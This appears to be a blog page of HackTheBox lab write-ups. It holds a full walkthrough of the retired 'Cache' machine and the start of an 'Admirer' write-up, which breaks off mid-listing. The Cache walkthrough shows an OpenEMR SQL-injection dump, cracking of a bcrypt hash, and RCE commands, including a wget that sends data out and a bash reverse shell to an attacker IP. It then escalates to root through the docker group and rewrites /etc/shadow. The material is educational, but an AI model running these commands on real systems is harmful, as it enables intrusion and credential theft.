<h2>Recon</h2>
<p>We start with an nmap scan. Only port 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sat May 16 03:28:10 2020 as: nmap -p- -sSV -oN nmap 10.10.10.188
Nmap scan report for 10.10.10.188
Host is up (0.013s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 16 03:37:19 2020 -- 1 IP address (1 host up) scanned in 549.65 seconds
</code></pre></div>
<h2>Web</h2>
<p>We look at the website. The homepage is describing the different type of hacker
(<em>sic</em>) (red hats really?).</p>
<p><img alt="Cache home page" class="image-process-article-image" src="/media/2020.10/derivatives/article-image/cache_01.png"/></p>
<p>There is a login page.</p>
<p><img alt="Cache login page" class="image-process-article-image" src="/media/2020.10/derivatives/article-image/cache_02.png"/></p>
<p>When we try to login we see in Burp that there is no request sent.
We look at the JavaScript files loaded by the page and mostly at the file
<code>functionality.js</code> located at <code>http://cache.htb/jquery/functionality.js</code>. The
file contain the credentials for the login form: <code>ash:H@v3_fun</code></p>
<div class="highlight"><pre><span></span><code><span class="nx">$</span><span class="p">(</span><span class="kd">function</span><span class="p">(){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">error_correctPassword</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">error_username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">checkCorrectPassword</span><span class="p">(){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">Password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">$</span><span class="p">(</span><span class="s2">"#password"</span><span class="p">).</span><span class="nx">val</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">Password</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="s1">'H@v3_fun'</span><span class="p">){</span>
<span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s2">"Password didn't Match"</span><span class="p">);</span>
<span class="w"> </span><span class="nx">error_correctPassword</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">checkCorrectUsername</span><span class="p">(){</span>
<span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">Username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">$</span><span class="p">(</span><span class="s2">"#username"</span><span class="p">).</span><span class="nx">val</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">Username</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="s2">"ash"</span><span class="p">){</span>
<span class="w"> </span><span class="nx">alert</span><span class="p">(</span><span class="s2">"Username didn't Match"</span><span class="p">);</span>
<span class="w"> </span><span class="nx">error_username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="nx">$</span><span class="p">(</span><span class="s2">"#loginform"</span><span class="p">).</span><span class="nx">submit</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="cm">/* Act on the event */</span>
<span class="w"> </span><span class="nx">error_correctPassword</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w"> </span><span class="nx">checkCorrectPassword</span><span class="p">();</span>
<span class="w"> </span><span class="nx">error_username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w"> </span><span class="nx">checkCorrectUsername</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="p">(</span><span class="nx">error_correctPassword</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">false</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nx">error_username</span><span class="w"> </span><span class="o">==</span><span class="kc">false</span><span class="p">){</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">true</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="kc">false</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">});</span>
<span class="p">});</span>
</code></pre></div>
<p><strong>Note:</strong> the page is also directly accessible without authentication. Some JavaScript on the body tag will make you go back to the login page if you don't have the right <code>referer</code>.</p>
<p>The page is just under construction and there is not a much to do.</p>
<p><img alt="Page under construction" class="image-process-article-image" src="/media/2020.10/derivatives/article-image/cache_03.png"/></p>
<p>We read the author's page again and focus on its other project: HMS.</p>
<p>We modify our /etc/hosts to add the hms.htb domain (still on the same IP address).
We can then browser to the page and get a authentication form for
<a href="https://www.open-emr.org/">openEMR</a>.
The previously find credentials are not working..</p>
<p><img alt="Page under construction" class="image-process-article-image" src="/media/2020.10/derivatives/article-image/cache_04.png"/></p>
<p>We run a <code>dirb</code> against this new domain and found a <code>admin.php</code> file.</p>
<div class="highlight"><pre><span></span><code>dirb http://hms.htb
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat May 16 04:43:49 2020
URL_BASE: http://hms.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://hms.htb/ ----
+ http://hms.htb/admin.php (CODE:200|SIZE:937)
==> DIRECTORY: http://hms.htb/common/
==> DIRECTORY: http://hms.htb/config/
</code></pre></div>
<p>We cannot do much with this admin page but it disclose us the exact version of
openEMR used.</p>
<p><img alt="Page under construction" class="image-process-article-image" src="/media/2020.10/derivatives/article-image/cache_05.png"/></p>
<p>We use <code>searchsploit</code> in order to find an exploit for our version but all of
them are authenticated.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/$ searchsploit openemr 5.0.1
------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------ ---------------------------------
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
OpenEMR < 5.0.1 - (Authenticated) Remote Code Execution | php/webapps/45161.py
------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
</code></pre></div>
<p>We launch metasploit and search of openEMR exploit. We found a SQL injection
dump exploit.</p>
<div class="highlight"><pre><span></span><code>msf5 > search openemr
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/sqli/openemr/openemr_sqli_dump 2019-05-17 normal Yes OpenEMR 5.0.1 Patch 6 SQLi Dump
1 exploit/unix/webapp/openemr_sqli_privesc_upload 2013-09-16 excellent Yes OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution
2 exploit/unix/webapp/openemr_upload_exec 2013-02-13 excellent Yes OpenEMR PHP File Upload Vulnerability
</code></pre></div>
<p>We configure the different option, especially the <code>vhost</code> and run the exploit.
We quickly get some result and it start to dump the first table out of 295… 295!
This will take forever.</p>
<div class="highlight"><pre><span></span><code>msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > show options
Module options (auxiliary/sqli/openemr/openemr_sqli_dump):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.188 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the OpenEMR installation
VHOST hms.htb no HTTP server virtual host
msf5 auxiliary(sqli/openemr/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
^C[-] Stopping running against current target...
[*] Control-C again to force quit all targets.
</path></code></pre></div>
<p>We grab the exploit code on <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb">rapid7 github</a>
and rewrite the <code>dump_all</code> module in order to just list the different tables (we
just comment the lines dumping and saving the tables).</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="k">def</span><span class="w"> </span><span class="nf">dump_all</span>
<span class="w"> </span><span class="n">payload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'version()'</span>
<span class="w"> </span><span class="n">db_version</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exec_payload_and_parse</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"DB Version: </span><span class="si">#{</span><span class="n">db_version</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s1">'Enumerating tables, this may take a moment...'</span><span class="p">)</span>
<span class="w"> </span><span class="n">tables</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">enumerate_tables</span>
<span class="w"> </span><span class="n">num_tables</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">tables</span><span class="o">.</span><span class="n">length</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Identified </span><span class="si">#{</span><span class="n">num_tables</span><span class="si">}</span><span class="s2"> tables."</span><span class="p">)</span>
<span class="w"> </span><span class="c1"># These tables are impossible to fetch because they increase each request</span>
<span class="w"> </span><span class="n">skiptables</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sx">%w[form_taskman log log_comment_encrypt]</span>
<span class="w"> </span><span class="n">tables</span><span class="o">.</span><span class="n">each_with_index</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="o">|</span><span class="n">table</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="o">|</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">skiptables</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">table</span><span class="p">)</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Skipping table (</span><span class="si">#{</span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="si">}</span><span class="s2">/</span><span class="si">#{</span><span class="n">num_tables</span><span class="si">}</span><span class="s2">): </span><span class="si">#{</span><span class="n">table</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Dumping table (</span><span class="si">#{</span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="si">}</span><span class="s2">/</span><span class="si">#{</span><span class="n">num_tables</span><span class="si">}</span><span class="s2">): </span><span class="si">#{</span><span class="n">table</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="c1">#table_data = walk_table(table)</span>
<span class="w"> </span><span class="c1">#save_csv(table_data, table)</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Dumped all tables to </span><span class="si">#{</span><span class="no">Msf</span><span class="o">::</span><span class="no">Config</span><span class="o">.</span><span class="n">loot_directory</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="k">end</span>
</code></pre></div>
<p>We load our
<a href="https://github.com/rapid7/metasploit-framework/wiki/Running-Private-Modules">private msf module</a>
configure it and run it.</p>
<div class="highlight"><pre><span></span><code>msf5 auxiliary(test/openemr_sqli_dump) > run
[*] Running module against 10.10.10.188
[*] DB Version: 5.7.30-0ubuntu0.18.04.1
[*] Enumerating tables, this may take a moment...
[*] Identified 295 tables.
[*] Dumping table (1/295): CHARACTER_SETS
<snip>
[*] Dumping table (284/295): therapy_groups_counselors
[*] Dumping table (285/295): therapy_groups_participant_attendance
[*] Dumping table (286/295): therapy_groups_participants
[*] Dumping table (287/295): transactions
[*] Dumping table (288/295): user_settings
[*] Dumping table (289/295): users
[*] Dumping table (290/295): users_facility
[*] Dumping table (291/295): users_secure
[*] Dumping table (292/295): valueset
[*] Dumping table (293/295): version
[*] Dumping table (294/295): voids
[*] Dumping table (295/295): x12_partners
</snip></code></pre></div>
<p>We quickly look at the table structure on the <a href="https://www.open-emr.org/wiki/index.php/Database_Structure">openEMR wiki</a>
and dump the table <code>users</code> with the index 288 (yes the table index start at 0).</p>
<p>It contains nothing interesting as the users' password where moved into the
<code>users_secure</code> table (an attentive reading of the wiki page will had give us
that immediately).</p>
<p>We re-wrote our personal module in order to dump the table <code>users_secure</code> with
the index 290. The <code>dump_all</code> function now looks like the following:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="k">def</span><span class="w"> </span><span class="nf">dump_all</span>
<span class="w"> </span><span class="n">payload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'version()'</span>
<span class="w"> </span><span class="n">db_version</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">exec_payload_and_parse</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"DB Version: </span><span class="si">#{</span><span class="n">db_version</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"version 2"</span><span class="p">)</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s1">'Enumerating tables, this may take a moment...'</span><span class="p">)</span>
<span class="w"> </span><span class="n">tables</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">enumerate_tables</span>
<span class="w"> </span><span class="n">num_tables</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">tables</span><span class="o">.</span><span class="n">length</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Identified </span><span class="si">#{</span><span class="n">num_tables</span><span class="si">}</span><span class="s2"> tables."</span><span class="p">)</span>
<span class="w"> </span><span class="c1"># These tables are impossible to fetch because they increase each request</span>
<span class="w"> </span><span class="n">skiptables</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sx">%w[form_taskman log log_comment_encrypt]</span>
<span class="w"> </span><span class="n">tables</span><span class="o">.</span><span class="n">each_with_index</span><span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="o">|</span><span class="n">table</span><span class="p">,</span><span class="w"> </span><span class="n">i</span><span class="o">|</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">skiptables</span><span class="o">.</span><span class="n">include?</span><span class="p">(</span><span class="n">table</span><span class="p">)</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Skipping table (</span><span class="si">#{</span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="si">}</span><span class="s2">/</span><span class="si">#{</span><span class="n">num_tables</span><span class="si">}</span><span class="s2">): </span><span class="si">#{</span><span class="n">table</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">290</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Dumping table (</span><span class="si">#{</span><span class="n">i</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="si">}</span><span class="s2">/</span><span class="si">#{</span><span class="n">num_tables</span><span class="si">}</span><span class="s2">): </span><span class="si">#{</span><span class="n">table</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="n">table_data</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">walk_table</span><span class="p">(</span><span class="n">table</span><span class="p">)</span>
<span class="w"> </span><span class="n">save_csv</span><span class="p">(</span><span class="n">table_data</span><span class="p">,</span><span class="w"> </span><span class="n">table</span><span class="p">)</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="k">end</span>
<span class="w"> </span><span class="n">print_status</span><span class="p">(</span><span class="s2">"Dumped all tables to </span><span class="si">#{</span><span class="no">Msf</span><span class="o">::</span><span class="no">Config</span><span class="o">.</span><span class="n">loot_directory</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="w"> </span><span class="k">end</span>
</code></pre></div>
<p>We rerun our module and get the looted data, this time we have the username and
a password hash!</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/$ cat /home/kali/.msf4/loot/20200516080433_default_10.10.10.188_openemr.users_se_390635.csv
id,username,password,salt,last_update,password_history1,salt_history1,password_history2,salt_history2
1,openemr_admin,$2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B.,$2a$05$l2sTLIG6GTBeyBf7TAKL6A$,2019-11-21 06:38:40,"","","",""
</code></pre></div>
<p>We load the has inside <code>john</code> the ripper and quickly get the password <code>xxxxxx</code>.</p>
<div class="highlight"><pre><span></span><code>$ john hash
Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl"
Use the "--format=bcrypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 32 for all loaded hashes
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
xxxxxx (?)
1g 0:00:00:00 DONE 2/3 (2020-05-16 14:07) 4.347g/s 5008p/s 5008c/s 5008C/s stinky..88888888
Use the "--show" option to display all of the cracked passwords reliably
Session completed
</code></pre></div>
<p>We can now connect on OpenEMR using our credentials <code>openemr_admin:xxxxxx</code>.</p>
<p><img alt="OpenEMR authenticated" class="image-process-article-image" src="/media/2020.10/derivatives/article-image/cache_06.png"/></p>
<p>We then fireup the authenticated exploit for openEMR found previously. At the
same time we start a simple Python HTTP server in order to check our RCE. It
works.</p>
<div class="highlight"><pre><span></span><code>$python ./45161.py 'http://hms.htb' -u openemr_admin -p xxxxxx -c 'wget http://10.10.14.156:8081/$(id)t 0>&1'
$python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.10.188 - - [16/May/2020 08:44:58] code 404, message File not found
10.10.10.188 - - [16/May/2020 08:44:58] "GET /uid=33(www-data) HTTP/1.1" 404 -
</code></pre></div>
<p>We change our payload in order to get a reverse shell. We launch a <code>netcat</code> to
catch our reverse shell.</p>
<div class="highlight"><pre><span></span><code>$python ./45161.py 'http://hms.htb' -u openemr_admin -p xxxxxx -c 'bash -i >& /dev/tcp/10.10.14.156/4242 0>&1'
$nc -l -p 4242
bash: cannot set terminal process group (2504): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cache:/var/www/hms.htb/public_html/interface/main$ whoami
whoami
www-data
</code></pre></div>
<p>We use python in order to get a better shell. And switch user to <code>ash</code> reusing
the password found in the JavaScript file. This allow us to get to the
<code>user.txt</code> flag.</p>
<div class="highlight"><pre><span></span><code>www-data@cache:/var/www/hms.htb/public_html/interface/main$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ su ash
su ash
Password: H@v3_fun
ash@cache:/var/www/hms.htb/public_html/interface/main$ cd
cd
ash@cache:~$ cat user.txt
cat user.txt
a3014a6da5ebe33cd897b66b44397ef1
</code></pre></div>
<h1>Root</h1>
<p>We use <a href="https://github.com/DominicBreuker/pspy">pspy</a> to enumerate the running
process. We see that a few process are running especially <code>dockerd</code> and
<code>memecached</code>. Given the name of the box is certain that the <code>memcached</code> process
is involved.</p>
<div class="highlight"><pre><span></span><code>www-data@cache:/tmp/.plop$ ./pspy64
./pspy64
<snip>
done
2020/05/16 16:16:33 CMD: UID=103 PID=994 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2020/05/16 16:16:33 CMD: UID=0 PID=992 | /usr/sbin/cron -f
2020/05/16 16:16:33 CMD: UID=0 PID=977 | /usr/bin/dockerd -H fd://
2020/05/16 16:16:33 CMD: UID=0 PID=969 | /usr/lib/accountsservice/accounts-daemon
2020/05/16 16:16:33 CMD: UID=111 PID=964 | /usr/bin/memcached -m 64 -p 11211 -u memcache -l 127.0.0.1 -P /var/run/memcached/memcached.pid
2020/05/16 16:16:33 CMD: UID=0 PID=961 | /usr/bin/VGAuthService
2020/05/16 16:16:33 CMD: UID=0 PID=96 |
</snip></code></pre></div>
<p>A few Google search lead us to an article about
<a href="https://www.hackingarticles.in/penetration-testing-on-memcached-server/">testing memcached</a>.
We connect to the service using telnet. We list the item available, get the
<code>user</code> and the <code>passwd</code> items.</p>
<div class="highlight"><pre><span></span><code>www-data@cache:/var/cache/apt$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END
get user
VALUE user 0 5
luffy
END
get passwd
VALUE passwd 0 9
0n3_p1ec3
END
</code></pre></div>
<p>We get back to an interactive shell and switch user to <code>luffy</code>. We quickly
identify that we belong to the <code>docker</code> group and display the <code>docker</code> version.</p>
<div class="highlight"><pre><span></span><code>$ su luffy
su luffy
Password: 0n3_p1ec3
luffy@cache:/var/www/hms.htb/public_html/interface/main$ id
id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)
luffy@cache:/var/www/hms.htb/public_html/interface/main$ docker --version
docker --version
Docker version 18.09.1, build 4c52b90
</code></pre></div>
<p>We use <code>searchsploit</code> again but th listed one is destructive.</p>
<p>A few Google search lead us to
<a href="https://www.hackingarticles.in/docker-privilege-escalation/">another article</a>
explaining how you can get a full access to the host system by mounting it into
the docker machine. We quickly list the available images. Only a <code>ubuntu</code> is
available.</p>
<div class="highlight"><pre><span></span><code>luffy@cache:/var/www/hms.htb/public_html/interface/main$ docker image ls
docker image ls
REPOSITORY TAG IMAGE ID CREATED SIZE
ubuntu latest 2ca708c1c9cc 7 months ago 64.2MB
</code></pre></div>
<p>We mount <code>/root/</code> into our docker machine and that allow us to get the
<code>root.txt</code> flag.</p>
<div class="highlight"><pre><span></span><code>luffy@cache:~/.plop$ docker run -v /root/:/mnt -it ubuntu
docker run -v /root/:/mnt -it ubuntu
root@884f0f892e34:/#ls /mnt
ls /mnt
root.txt
root@884f0f892e34:/# cat /mnt/root.txt
cat /mnt/root.txt
da8b94288d919f4c6089fccdaa318832
</code></pre></div>
<p>We could also have mounted the whole file system <code>/</code> and get the content of
<code>/etc/shadow</code> to crack the root password. Or even rewrite the root password in <code>/etc/shadow</code>.</p>
<p>Another docker trick is to <code>chroot</code> into the mounted folder to get a root to
directly get a shell on the system: <code>docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh</code></p>
<p>We can then generate a new password using <code>perl</code></p>
<div class="highlight"><pre><span></span><code># perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
$6$saltsalt$qFmFH.bQmmtXzyBY0s9v7Oicd2z4XSIecDzlB5KiA2/jctKu9YterLp8wwnSq.qc.eoxqOmSuNp2xS0ktL3nh/
</code></pre></div>
<p>And then put the new hash value in a new file <code>/etc/shadow.new</code>, check it and
then replace the original <code>/etc/shadow</code> file. One the new value is set we can
exit the docker and switch user to root.</p>
<div class="highlight"><pre><span></span><code># perl -pe 's|(root):(\$.*?:)|\1:\$6\$SALTsalt\$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:|' /etc/shadow > /etc/shadow.new
perl -pe 's|(root):(\$.*?:)|\1:\$6\$SALTsalt\$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:|' /etc/shadow > /etc/shadow.new
# cat /etc/shadow.new
cat /etc/shadow.new
root:$6$SALTsalt$UiZikbV3VeeBPsg8./Q5DAfq9aj7CVZMDU6ffBiBLgUEpxv7LMXKbcZ9JSZnYDrZQftdG319XkbLVMvWcF/Vr/:18178:0:99999:7:::
daemon:*:17941:0:99999:7:::
bin:*:17941:0:99999:7:::
sys:*:17941:0:99999:7:::
sync:*:17941:0:99999:7:::
games:*:17941:0:99999:7:::
man:*:17941:0:99999:7:::
lp:*:17941:0:99999:7:::
mail:*:17941:0:99999:7:::
news:*:17941:0:99999:7:::
uucp:*:17941:0:99999:7:::
proxy:*:17941:0:99999:7:::
www-data:*:17941:0:99999:7:::
backup:*:17941:0:99999:7:::
list:*:17941:0:99999:7:::
irc:*:17941:0:99999:7:::
gnats:*:17941:0:99999:7:::
nobody:*:17941:0:99999:7:::
systemd-network:*:17941:0:99999:7:::
systemd-resolve:*:17941:0:99999:7:::
syslog:*:17941:0:99999:7:::
messagebus:*:17941:0:99999:7:::
_apt:*:17941:0:99999:7:::
lxd:*:17941:0:99999:7:::
uuidd:*:17941:0:99999:7:::
dnsmasq:*:17941:0:99999:7:::
landscape:*:17941:0:99999:7:::
pollinate:*:17941:0:99999:7:::
sshd:*:18156:0:99999:7:::
ash:$6$xXLd6jlN$b37bISaMTwk2uxlpOsRFlJYmNMzFPlSb.7nD2oSzhjtdikwne5j17lAtfwKP0jyfaScDgLKFn9gyPvxg57NcS.:18157:0:99999:7:::
luffy:$6$aPEHFC8D$9ZWqYH2UuImmKRLWA7ZBzSWiBiGLUmXCn7BBpcFq5quVXIj6mA0QtiGwH8opTZ53AzpgnPhaOGq4i1SaRlBlP/:18157:0:99999:7:::
memcache:!:18157:0:99999:7:::
mysql:!:18219:0:99999:7:::
# mv /etc/shadow.new /etc/shadow
mv /etc/shadow.new /etc/shadow
# exit
exit
luffy@cache:~$ su
su
Password: password
root@cache:/home/luffy#
</code></pre></div>
<h1>Wrapping up</h1>
<p>The box was overall interesting. The root part was really nice as it chained the
memcache "exploitation" and the "docker" one.</p>HTB: Admirer2020-09-27T08:30:00+02:002020-09-27T08:30:00+02:00maggicktag:maggick.fr,2020-09-27:/2020/09/htb-admirer.html<p><img alt="Admirer card" class="align-left" src="/media/2020.09/admirer_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/248">Admirer</a> created by
<a href="https://www.hackthebox.com/home/users/profile/159204">polarbearer</a> and
<a href="https://www.hackthebox.com/home/users/profile/125033">GibParadox</a> and publish on
May 2, 2020.
This box is classified as an easy machine. The user part implied a few
enumeration and an adminer vulnerability.
The root part implied a sudo permission with SETENV and a python script.</p>
<p><img alt="Admirer card" class="align-left" src="/media/2020.09/admirer_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/248">Admirer</a> created by
<a href="https://www.hackthebox.com/home/users/profile/159204">polarbearer</a> and
<a href="https://www.hackthebox.com/home/users/profile/125033">GibParadox</a> and publish on
May 2, 2020.
This box is classified as an easy machine. The user part implied a few
enumeration and an adminer vulnerability.
The root part implied a sudo permission with SETENV and a python script.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only the ports 21(FTP), 22 (SSH) and 80 (HTTP) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon May 4 11:30:21 2020 as: nmap -p- -sS -oN nmap 10.10.10.187
Nmap scan report for 10.10.10.187
Host is up (0.020s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# Nmap done at Mon May 4 11:39:02 2020 -- 1 IP address (1 host up) scanned in 520.65 seconds
</code></pre></div>
<h2>FTP</h2>
<p>The ftp service doesn't allow anonymous connections.</p>
<h2>Web</h2>
<p>The home web page is a collection of picture.</p>
<p><img alt="Home page" class="image-process-article-image" src="/media/2020.09/derivatives/article-image/admirer_01.png"/></p>
<p>We look at the <code>robot.txt</code> file, it contains the location of some <code>admin-dir</code>
directory supposed to contain some credentials.</p>
<div class="highlight"><pre><span></span><code>User-agent: *
# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir
</code></pre></div>
<p>We try a few filename like <code>passwords.txt</code>, <code>creds.txt</code>… <code>credentials.txt</code> works
and give use a few usernames and password for some services including ftp.</p>
<div class="highlight"><pre><span></span><code>[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P
[FTP account]
ftpuser
